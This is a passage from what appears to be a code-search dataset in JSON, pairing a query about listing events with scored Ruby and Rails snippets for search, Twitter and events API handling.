JSON.parse(all_string)\n info_hash\nend", "title": "" }, { "docid": "f311c49484380038793053a384ef427b", "score": "0.5440786", "text": "def response\n @response ||= HashWrapper.new(search.execute!)\n end", "title": "" }, { "docid": "251234adfbefc7e6cbbe1e405ceccd58", "score": "0.543354", "text": "def search_body\n process_input unless processed?\n Search::Tags::Query.new(attributes).to_hash\n end", "title": "" }, { "docid": "4241710ec78dbd47b6370d52e3136206", "score": "0.54330444", "text": "def search args={}\n JSON.parse(search_internal(args))\n end", "title": "" }, { "docid": "83d18119a18cb66b2bd87540f13efaee", "score": "0.5430847", "text": "def http_search(uri:)\n uri = normalize_uri(uri)\n JSON.parse Net::HTTP.get_response(uri).body\n end", "title": "" }, { "docid": "bb207a1eddcc7a7593bc40827f1913a9", "score": "0.54282945", "text": "def twitter\n @tweets = search('JazzHouston', 10)\n end", "title": "" }, { "docid": "b1851135eca2cf53054781151e1c2a98", "score": "0.5418765", "text": "def search(options={})\n results = connection.get do |request|\n request.url \"search.#{Twitter.format}\", options\n end.body\n end", "title": "" }, { "docid": "b1d6861139ec7485b7cb7068a3f4eb2f", "score": "0.54135644", "text": "def twitter_ids_from_json_result(json)\n json['results'].map{|r| r['id'].to_i }\n end", "title": "" }, { "docid": "950d573228ff132104770d07a0bf60fd", "score": "0.541327", "text": "def format_twitter_data(tweets)\n tweets.map { |tweet| {\n\n \"url\" => tweet.url.to_s,\n \"name\" => tweet.user.name,\n \"screen_name\" => tweet.user.screen_name,\n \"text\" => tweet.text,\n \"created_at\" => tweet.created_at,\n }}\n end", "title": "" }, { "docid": "8abdbc13cd5f6f894a2f108841a80664", "score": "0.54079443", "text": "def to_hash\n response.hash\n end", "title": "" }, { "docid": "b2dd31b8ae4839178a193416084356e6", "score": "0.5407759", "text": "def scheduled_tweets_response\n JSON.parse('{ \"total\": 9, \"updates\": [ { } ] }', object_class: OpenStruct)\nend", "title": "" }, { "docid": "0ece21cc19ccf4ce65110a9dd8ab6de1", "score": "0.5399553", "text": "def tweets(hashtag, n)\n response = access_token.\n request(:get, URI.encode(@configuration['base_url_v'] +\n \"search/tweets.json?q=#{hashtag}&count=#{n}\"))\n response_json = JSON.parse(response.body)\n response_json['statuses'].map do |status|\n Tweet.new(status['user']['name'], status['created_at'],\n status['text'], status['user']['id'], status['id'])\n end\n end", "title": "" }, { "docid": "a42c89fb15eef33a6ab0b91e4cc62067", "score": "0.53990597", "text": "def get_recent_tweets hash_tag\n begin\n connect_to_twitter\n @client.search( \"#\"+hash_tag, count: 20, result_type: \"recent\" ).take(20)\n rescue Exception => e\n puts \"\\nThere was an error while retrieving tweets: #{e.message}\"\n end\n end", "title": "" }, { "docid": "e0b7ddf8df4eac7b3abd99e39b19627a", "score": "0.53951424", "text": "def results\n to_hash['result'].values.first\n end", "title": "" }, { "docid": "30e91cf569e25d31f49be558f01ca925", "score": "0.5393294", "text": "def search(params = {})\n JsonObject.new( api.json_response(\"search/\", params) )\n end", "title": "" }, { "docid": "1d5bffffc3553e22cb09ed53a64e9f2c", "score": "0.53909945", "text": "def fetch\n @query[:q] = @query[:q].join(' ')\n q = @query.map{|key,value| \"#{key}=#{CGI::escape(value.to_s) if value}\"}.join('&')\n puts \"query: #{q}\"\n result = Net::HTTP.get(URI::HTTP.build({:host => 'search.socialactions.com', :path => '/actions.json', :query => q}))\n results = JSON.parse(result)\n results.map{|r| SearchResult.new_from_hash(r)}\n #pp results\n end", "title": "" }, { "docid": "6b21af29e2f075c2db2d3958dff78851", "score": "0.5389019", "text": "def get_tweets(search)\n\n if search.terms[0]\n @tweets = @twitter.search(search.terms[0].text, :result_type => \"recent\").take(100) \n 5.times do\n last_id = @tweets.last.id - 1\n @tweets = @tweets + @twitter.search(search.terms[0].text, max_id: last_id, result_type: \"recent\").take(100)\n end\n else\n @tweets = nil\n end\n\n if search.terms[1]\n @tweets2 = @twitter.search(search.terms[1].text, result_type: \"recent\").take(100) \n 5.times do\n last_id = @tweets2.last.id - 1\n @tweets2 = @tweets2 + @twitter.search(search.terms[1].text, max_id: last_id, result_type: \"recent\").take(100)\n end\n else\n @tweets2 = nil\n end\n\n if search.terms[2]\n @tweets3 = @twitter.search(search.terms[2].text, result_type: \"recent\").take(100) \n 5.times do\n last_id = @tweets3.last.id - 1\n @tweets3 = @tweets3 + @twitter.search(search.terms[2].text, max_id: last_id, result_type: \"recent\").take(100)\n end\n else\n @tweets3 = nil\n end\n\n\n end", "title": "" }, { "docid": "3de46307ecd840b66d47eeec12477f18", "score": "0.5387728", "text": "def to_hash\n @hash ||= JSON.parse(data)\n end", "title": "" }, { "docid": "abcbae9870316ee0dc5bfe0f34008dc9", "score": "0.53865266", "text": "def parse_result(h)\n @result = {}\n return unless h.is_a?(Hash)\n @code = h[CODE]\n @error = h[ERROR]\n if h[RESULTS].is_a?(Array)\n @result = h[RESULTS]\n @count = h[COUNT] || @result.count\n else\n @result = h\n @count = 1\n end\n\n end", "title": "" }, { "docid": "ab50e64e66a1d0e6d203840ec3b08fe4", "score": "0.5380509", "text": "def results_and_metadata(searchable, results)\n {\n term: @term,\n cpvs: @cpvs,\n filter: @filter,\n sort: @sort,\n boost: @boost,\n results: page(results),\n total: results.records.total,\n total_without_limit: get_total_without_limit(searchable),\n country_list: countries_in(results),\n }\n end", "title": "" }, { "docid": "73f8e55f2273192618369b8a8a70d343", "score": "0.53719234", "text": "def fetch\n p_results = previous_results\n \n res = Curl::Easy.perform(url(p_results))\n \n if res.response_code == 200\n parse_tweets(res, p_results)\n else\n $stderr.puts \"Received invalid twitter response code of #{res.response_code}.\"\n end\n end", "title": "" }, { "docid": "9adfec59e0bdcd87532368155a7631bf", "score": "0.5368062", "text": "def api_return_hash(drink)\n response_string = RestClient.get(\"https://www.thecocktaildb.com/api/json/v1/1/search.php?s=#{drink}\")\n response_hash = JSON.parse(response_string)\n response_hash[\"drinks\"]\nend", "title": "" }, { "docid": "dfa96239f4815cf7174afffe0835ae35", "score": "0.53677875", "text": "def build_dynamo_hash(tweet)\n parsed_tweet = JSON.parse(tweet)\n if parsed_tweet['geo'].nil?\n log_no_geo(parsed_tweet)\n nil\n else\n log_tweet(parsed_tweet)\n {\n :user_id => parsed_tweet['user']['id'].to_i,\n :created_at => Time.parse(parsed_tweet['created_at']).to_i,\n :full_tweet => parsed_tweet\n }\n end\n end", "title": "" }, { "docid": "5853b9d98a131e945842f55da9dd00a8", "score": "0.53658175", "text": "def json_hash\n @json_hash ||= begin\n # Customized JSON-LD output\n hash = Hash.ordered\n hash[\"@context\"] = \"http://rdfa.info/contexts/rdfa-earl.jsonld\"\n hash[\"@id\"] = SUITE_URI\n hash[\"@type\"] = %w(earl:Software doap:Project)\n hash['homepage'] = \"http://rdfa.info/\"\n hash['name'] = \"RDFa Test Suite\"\n hash['processor'] = json_processor_info\n hash['vocabulary'] = json_vocabulary_info\n hash.merge!(json_result_info)\n end\n end", "title": "" }, { "docid": "9d444de6e10de38918b63e0d3e3f9083", "score": "0.53630567", "text": "def parse_raw_response(raw, query:)\n suggestions = raw.dig('suggest', dictionary, query, 'suggestions')\n suggestions ||= []\n\n suggestions.map do |res|\n { id: res['term'], label: res['term'], value: res['term'] }\n end\n end", "title": "" }, { "docid": "b3d82298854b21827c06dfac112761cf", "score": "0.5361123", "text": "def news\n #render json: Tweet.last(50)\n \n tweets = Tweet.last(50)\n hash = tweets.map do |tweet|\n {\n :id => tweet.id,\n :content => tweet.content,\n :user_id => tweet.user_id,\n :like_count => tweet.likes.count,\n :retweets_count => tweet.count_rt,\n :retweeted_from => tweet.re_ref.nil? ? \"\" : tweet.re_ref\n }\n end\n render json: hash \n end", "title": "" }, { "docid": "b12a6c1a51394b14a8c7dc6e3ec46043", "score": "0.53603286", "text": "def map_twitter_tweet(tweet)\n {created_at: tweet.created_at,\n from_user: tweet.from_user,\n text: tweet.text,\n twitter_id: tweet.id,\n profile_image_url: tweet.profile_image_url,\n source: tweet.source,\n to_user: tweet.to_user}\n end", "title": "" }, { "docid": "1249e16c5387bc0469174cd6629d5f99", "score": "0.5355734", "text": "def raw_results\n @search.getSearchResults\n end", "title": "" }, { "docid": "07ae3a92c6ed4b59919f668b973c3710", "score": "0.5355599", "text": "def get_book_info\n result = Searcher.new(params[:q]).get_search_data\n\n render json: {\n err: nil,\n params: params,\n total_result: result.entries.count,\n result: result.entries\n }\n end", "title": "" }, { "docid": "c488e20fa49aa7cb15909727239f9325", "score": "0.5354094", "text": "def find_tweet(search_string)\n tweets = Array.new\n @client.search(search_string, result_type: \"recent\").take(10).each do |tweet|\n tweets.push(tweet)\n end\n return tweets.sample\n end", "title": "" }, { "docid": "a0d23228c47be610e2e5239f95ee7804", "score": "0.5351185", "text": "def search(query)\n resource.get(params: {query: query}) do |response|\n JSON.parse(response.body)\n end\n end", "title": "" }, { "docid": "8adb704ad4d14df09ef56fc0b96bcb9b", "score": "0.5350262", "text": "def get_json_hash(api_link)\n response_string = RestClient.get(api_link)\n response_hash = JSON.parse(response_string) \nend", "title": "" }, { "docid": "1b80c84a5ba0a99fe5d202204f763199", "score": "0.5339956", "text": "def hash_json_result(json_data)\n api_hash = {}\n\n begin\n api_hash = JSON.parse(json_data)\n rescue\n puts \"INFO: Couldn't parse JSON data\"\n end\n\n api_hash\nend", "title": "" }, { "docid": "33ca15eef2ab564b0363861a37bf29fb", "score": "0.53360575", "text": "def format_search_results_from_API(search_results)\n if search_results.items == nil\n return [] # Nothing found\n end\n search_results.items.map do |result|\n if isSong?(result)\n format_search_result(result)\n end\n end.compact # Remove nil objects\n end", "title": "" } ]
26392360525a8dfe5ee19702cb7b2874
GET /events GET /events.json
[ { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.0", "text": "def index\n @events = Event.all\n end", "title": "" } ]
[ { "docid": "483079b80dfb97ee802273ad3849fa6b", "score": "0.795317", "text": "def events\n @page = 'events'\n respond_to do |format|\n format.html {\n @events = Event.find(:all)\n }\n format.json {}\n end\n end", "title": "" }, { "docid": "a85255d083e155277c7206a8fbe1dc67", "score": "0.79334843", "text": "def events\n @events = Event.find(:all)\n\t respond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render :json => @events }\n\t end\nend", "title": "" }, { "docid": "123198fc6a99b0c45d1fbe973c7b84fd", "score": "0.791548", "text": "def events(options = {})\n # v1/public/events\n get('events', options)\n end", "title": "" }, { "docid": "93e221f52a1fb29f9fa66aa41392b614", "score": "0.77807343", "text": "def index\n json_response(@calendar.events)\n end", "title": "" }, { "docid": "a5cdb5a1853d83a0bec86a2c2e5c290d", "score": "0.77359587", "text": "def events\n events_url = API_BASE + \"/events\"\n response = get_api_request(events_url)\n response['items']\n end", "title": "" }, { "docid": "ad6fb9588455cc60b878fd23aefadd44", "score": "0.77051055", "text": "def index # requires user\n render json: current_user.events\n end", "title": "" }, { "docid": "5afd9c217db582ab4e1d31c633a112c3", "score": "0.77024096", "text": "def index\n @events = Event.get_events(params)\n end", "title": "" }, { "docid": "66cec9200352931dc624c60aa268ea93", "score": "0.76701826", "text": "def index\n @events = Event.all\n render json: @events\n end", "title": "" }, { "docid": "a6f17cb2e0c0bf15dafb24e485b6f80d", "score": "0.76560354", "text": "def show\n\t\t@events = Event.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {render json: @events}\n\t\tend\n\tend", "title": "" }, { "docid": "72c923bebff9a490f37ce18ecc3c9c3f", "score": "0.762033", "text": "def index\n @events = Event.all\n\n render json:{status: 200, events: @events}, status: :ok\n end", "title": "" }, { "docid": "26631fa7d741f63dc0de4ebc0ce1e053", "score": "0.75745493", "text": "def index\n render json: { \n status: 200, \n events: Event.get_ongoing_events.as_json(\n only: [\n :id, \n :event_name, \n :reward_item, \n :event_start_time, \n :event_end_time\n ] \n )\n }\n end", "title": "" }, { "docid": "3e6cb46bd3afd486d44f36962d6f9106", "score": "0.7559668", "text": "def index\n @events = Event.all\n respond_to do |format|\n format.json { render json: @events, status: :ok }\n end\n end", "title": "" }, { "docid": "d4aa9042cb4ccfe4e85373b96fa1a7c5", "score": "0.75560725", "text": "def get_events(args = {})\n begin\n do_get(AppFigures::API::EVENTS, args)\n rescue Exception => e\n puts e.message\n puts e.backtrace\n end\n end", "title": "" }, { "docid": "4633ee98769f612ca775480c4126e933", "score": "0.7544947", "text": "def events\n return @events unless @events.blank?\n @events = self.class.request_and_parse(:get, \"#{api_name}/events\").map { |event| Bandsintown::Event.build_from_json(event) }\n end", "title": "" }, { "docid": "68c7483f71a0c48924360656960b7086", "score": "0.75426567", "text": "def index\n render json: Event.all.to_json, status: 200\n end", "title": "" }, { "docid": "39720392e6631a437f629bf51500afb9", "score": "0.7538326", "text": "def show\n render json: @event.to_json, status: 200\n end", "title": "" }, { "docid": "ae8cc0c83ab35dc5ed8c86381899fcee", "score": "0.7521012", "text": "def index\n @events = @user.events.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "1fc37040abcab3919f7bdadef78d8f15", "score": "0.75198317", "text": "def index\n events = Event.all\n render_jsonapi(events)\n end", "title": "" }, { "docid": "f2202802c1618e13bd2bf9c05dd0e2ce", "score": "0.7516252", "text": "def get_events\n api_request \"https://api.github.com/events\"\n end", "title": "" }, { "docid": "2d5580b43c7c18bcd8a06713fa4be0f1", "score": "0.75047034", "text": "def show\n\t\tevent_id = params[:id]\n\t\tif event_id.present?\n\t\t\t@event = Com::Nbos::Events::Event.active_events.where(:id => event_id)\n\t\t\trender :json => @event\n\t\telse\n\t\t\trender :json => {status: 400, message: \"Bad Request\"}, status: 400\n\t\tend\n\tend", "title": "" }, { "docid": "42aaf241ae5c97ed6bc175744668117f", "score": "0.75040346", "text": "def festival_events\n festival = Festival.find(params[\"id\"])\n render json: festival.events\n end", "title": "" }, { "docid": "470317defe83e35951c6c122d1f185b0", "score": "0.75028443", "text": "def show\n render json: @event, status: 200\n end", "title": "" }, { "docid": "aee88650751eaed176b44901bdc95c38", "score": "0.7497687", "text": "def events_json\n require 'open-uri'\n\n event_filename = \"#{current_timestamp}-events.json\"\n event_api_link = \"#{current_base_url}/api/v1/events\"\n\n download = open(event_api_link)\n IO.copy_stream(download, \"public/#{event_filename}\")\n end", "title": "" }, { "docid": "688058acb624b88d81c8bc582f010643", "score": "0.7482537", "text": "def index\n @events = Event.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "da5a9d883b89e5e96507ec12f9e0aa14", "score": "0.7468421", "text": "def event\n begin\n JSON.parse(@omegle.post('/events', \"id=#{@id}\").body)\n rescue\n end\n end", "title": "" }, { "docid": "3da9fcec204590415e22942fdb6abd39", "score": "0.7463956", "text": "def index\n @events = Event.where(user_id: @current_user.id)\n render json: {events: @events}, status: :ok\n end", "title": "" }, { "docid": "0f6485ffd9d48d177e18c824fe64c0a2", "score": "0.74634916", "text": "def index\n @events = current_user.events\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "4651611c0ddebf8399fb0f3635ef9beb", "score": "0.74614304", "text": "def show\n user = User.find(params[:id])\n events = user.created_events\n json_response events\n end", "title": "" }, { "docid": "06e04dea368701617f4a617d21a0bd44", "score": "0.7449928", "text": "def index\n events = Event.all\n render json: events, status: :created\n end", "title": "" }, { "docid": "be775dcc32381e8be67e5104cfbe90a3", "score": "0.7447238", "text": "def get_events\n return @client.get_events\n end", "title": "" }, { "docid": "72673fb5ad062e767c06737e87a41e3c", "score": "0.7443981", "text": "def index\n @events = Event.all\n \n respond_to do |format|\n format.html \n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "c78fe3100897ca3eab9d9d7b2a01e57a", "score": "0.7438949", "text": "def index\r\n# @events = Event.fetch\r\n\t@events = Event.all\r\n render json: @events\r\n end", "title": "" }, { "docid": "b915baf4a044fba3e32a2d99c59dda88", "score": "0.7438", "text": "def index\n @events = current_user.events\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "d9b93d3370357d9a354c2c8e31e9cbdc", "score": "0.7432439", "text": "def events\n events = @vulnerability.events.map do |e|\n {\n id: e.id,\n title: e.title,\n description: e.description,\n date: e.date,\n event_type: e.event_type,\n color: e.color,\n icon: e.icon,\n notes: e.notes,\n start_hidden: e.start_hidden,\n }\n end\n render_json_for_api events\n end", "title": "" }, { "docid": "2b60b3a27f7b5d7a558ff1cc0b1a6065", "score": "0.7431574", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "337ebbcc6fd359524448d865a0a28a6c", "score": "0.7426885", "text": "def index\n @events = Event.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events}\n end\n end", "title": "" }, { "docid": "dea52b3fd19b7d835242cb95bf7ab326", "score": "0.7412143", "text": "def index\n # curl http://localhost:3024/api/events -H 'Authorization: Token token=\":token\"'\n api_response = Curl.get(\"http://localhost:3024/api/events\") do|http|\n http.headers['Authorization'] = 'Token token=' + params[:token]\n end\n @events = JSON.parse(api_response.body_str)\n end", "title": "" }, { "docid": "90053f11c69d53705b3c155cf60438bc", "score": "0.741107", "text": "def index\n\n \n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n \n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "3c4e170782dc6c5c9532137bcdcd1d62", "score": "0.74091715", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "d2d1cde96fa221422de1df3b1b3842b3", "score": "0.7408327", "text": "def get_events(args)\n\t\t\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\t\t\tdo_the_get_call( url: api_url )\n\t\tend", "title": "" }, { "docid": "febcc91647b65e8ccc5954b1cf77ecf7", "score": "0.7397792", "text": "def show\n render json: @event, status: :ok\n end", "title": "" }, { "docid": "17030e8923940a664652d1d818bef3c0", "score": "0.7390549", "text": "def current_events\n response['events']\n end", "title": "" }, { "docid": "4b38a474a95e214283756d5b66d351e5", "score": "0.7378456", "text": "def show\n\n render json: @event\n end", "title": "" }, { "docid": "13bb342fa981d795a1de15164f7e08c9", "score": "0.7377588", "text": "def event\n domain, stream_id, event_name = options.resources.split('/')\n api.get(\"/#{domain}/stream/#{stream_id}/event/#{event_name}\")\n end", "title": "" }, { "docid": "3876da5b462871ae835735c8ccb9e33d", "score": "0.7377327", "text": "def index\n @events = @society.events\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "642aec087472f552fa1dbcdf9d82efc1", "score": "0.73717934", "text": "def index\n @events = Event.in_future\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "d73a57727ce0857df8040449b5422d63", "score": "0.73704463", "text": "def get_user_events\n user = User.find(params[\"id\"])\n render json: user.saved_events\n end", "title": "" }, { "docid": "c920f694973b8f492fc9196243d7dfa2", "score": "0.7366312", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "title": "" }, { "docid": "c920f694973b8f492fc9196243d7dfa2", "score": "0.7366312", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "title": "" }, { "docid": "c920f694973b8f492fc9196243d7dfa2", "score": "0.7366312", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "title": "" }, { "docid": "c920f694973b8f492fc9196243d7dfa2", "score": "0.7366312", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "title": "" }, { "docid": "23b081913c4095ba481ca20c0017c37a", "score": "0.73630756", "text": "def show\n \n @event = Event.find(params[:id])\n \n\n respond_to do |format|\n format.html # events_path\n format.json { render json: events_path }\n end\n end", "title": "" }, { "docid": "7d4e016f658d1ada57b50906680c9360", "score": "0.73616976", "text": "def show\n render json: @event\n end", "title": "" }, { "docid": "7d4e016f658d1ada57b50906680c9360", "score": "0.73616976", "text": "def show\n render json: @event\n end", "title": "" }, { "docid": "7d4e016f658d1ada57b50906680c9360", "score": "0.73616976", "text": "def show\n render json: @event\n end", "title": "" }, { "docid": "ef3b9fa4fcf4cc779afcdcc77f6f94b2", "score": "0.7354575", "text": "def show\n @event = Event.find(params[:id])\n render json: @event, status: 200\n end", "title": "" }, { "docid": "75db8cc12c021d67f22ef17f89a31bbf", "score": "0.7351954", "text": "def index\n @events = get_events(Event.event)\n end", "title": "" }, { "docid": "c200ae633a4c73674143fc7f32f7efd4", "score": "0.73389477", "text": "def get_events\n\n @sigthing = Sigthing.all\n events = []\n @sigthing.each do |sigthing|\n events << { id: sigthing.id,\n title: sigthing.region,\n start: sigthing.date.to_s + \" \" + sigthing.time.strftime(\"%H:%M:%S\").to_s,\n url: Rails.application.routes.url_helpers.sigthing_path(sigthing.id)}\n end\n render :json => events.to_json\n end", "title": "" }, { "docid": "3b34aa351459656af1ea987c26bdcb1b", "score": "0.73315513", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "3b34aa351459656af1ea987c26bdcb1b", "score": "0.73315513", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "59fd8e27453bd20f76931164769ca4a8", "score": "0.73259604", "text": "def show\n @event = Event.find_by(id: params[:id])\n render json: @event\n end", "title": "" }, { "docid": "de50f8f6be1ba3f20f96585af2f45d40", "score": "0.7324773", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "title": "" }, { "docid": "77ed3890e037d3fad35d41008a70f469", "score": "0.73129827", "text": "def eventlist\n @accesstoken = params[:access_token]\n url = URI(\"https://www.explara.com/api/e/get-all-events\")\n\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Post.new(url)\n request[\"authorization\"] = \"Bearer #{@accesstoken}\"\n\n response = http.request(request)\n res = JSON.parse(response.read_body)\n $event_id = res['events']\n\n @events = $event_id\n\n\n end", "title": "" }, { "docid": "877c162a18ff6baee8f083e383d2ad98", "score": "0.73129094", "text": "def show\n \t@event = Event.find(params[:id])\n \trender json: @event\n \t\n end", "title": "" }, { "docid": "f2524b234bc3d4da0074f51cdd685527", "score": "0.7288085", "text": "def get_events\n\t @events = Event.find(:all, :conditions => [\"userid = ?\", session[\"timeline_id\"]])\n\t\n\t\trespond_to do |format|\n\t\t format.html\n\t\t\tformat.js\n\t\tend\n\n end", "title": "" }, { "docid": "32f1c45b802c8eb963b57bd19c7021bc", "score": "0.7284542", "text": "def show \n @event = Event.find params[:id]\n render json: @event, status: :ok\n end", "title": "" }, { "docid": "04cc950e605be71e9988faad209e5239", "score": "0.7264659", "text": "def show\n @event = Event.find(params[:id])\nlogger.info @event.to_json\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "4a5085b09e0a3127cdd1f1ed163c936c", "score": "0.7262542", "text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n \n end", "title": "" }, { "docid": "905af5b22530fb3991afcfb14e6c4358", "score": "0.7252958", "text": "def show\n @event = Event.find params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event.to_api_hash }\n end\n end", "title": "" }, { "docid": "e13015af1d20786610d39ca4c8d93aa9", "score": "0.72494066", "text": "def get_events\n event_response = Hash.new\n events = Event.all\n now = DateTime.now\n begin\n event_response[:result] = Array.new\n events.each do |event|\n event_response[:result].push({\n :id => event.id,\n :title => event.title,\n :url => event.url,\n :class => event.klass,\n :start => event.start.to_datetime.strftime('%Q').to_i,\n :end => event.finish.to_datetime.strftime('%Q').to_i\n }) if now <= event.finish + 7.days\n end\n event_response[:success] = 1\n rescue Exception\n event_response[:success] = 0\n end\n render json: event_response\n end", "title": "" }, { "docid": "4f118b5a7a919d0cbc6f8eb769bb7995", "score": "0.7240171", "text": "def events\n @events ||= self.class.request_and_parse(:get, \"#{@bandsintown_id}/events\").map { |event_hash| Bandsintown::Event.build_from_json(event_hash) }\n end", "title": "" }, { "docid": "ceabed62fb64c0b9a5a3e047de4227a8", "score": "0.7231582", "text": "def index\n @active_page = \"events\"\n @user = current_user\n\n\n query = Event\n query = query.order(\"created_at DESC\")\n\n query = query.all\n\n @events = query\n\n respond_to do |format|\n format.html\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "356491f9a7223dbc58effe14eece54f9", "score": "0.7228475", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "356491f9a7223dbc58effe14eece54f9", "score": "0.7228475", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "356491f9a7223dbc58effe14eece54f9", "score": "0.7228475", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "798bc7510cd7f71692795b80258998e6", "score": "0.72272533", "text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "194d4a4ff5fee4a2d1caa8718ff2a533", "score": "0.7226261", "text": "def index\n @events = current_user.events\n\n user = User.find(session[:user_id])\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "7f3652f7c84060b2f0162181e7b52e81", "score": "0.72240293", "text": "def index\n @events = Event.get_all_events_by_date.includes(:event_type)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "b7c0933cbecfbc7d2c956ea6325da2c2", "score": "0.7223921", "text": "def index\n @events = @comp.events.to_a\n\n render json: @events\n end", "title": "" }, { "docid": "286c133d90e3577bef6bb7ce8998890f", "score": "0.72179043", "text": "def show\n @event = Calendar.find(params[:id])\n render json: @event\n end", "title": "" }, { "docid": "dfa4027aacc69be8032b71cb29133e32", "score": "0.7214162", "text": "def all\n render :json => all_events\n end", "title": "" }, { "docid": "0a6505fea54e4d44db3e51d67c1487a3", "score": "0.7210662", "text": "def index\n respond_with events\n end", "title": "" }, { "docid": "6e4b00315198dfa806c44fa70f6d551c", "score": "0.7210499", "text": "def get_events_for(urlname)\n response = self.class.get(\"/#{urlname}/events\", options)\n return_value_for response\n end", "title": "" }, { "docid": "1b3bca3c96c5dfeeb0b2ed363b170073", "score": "0.7207002", "text": "def user_events(username)\n get \"/users/#{username}/events\"\n end", "title": "" }, { 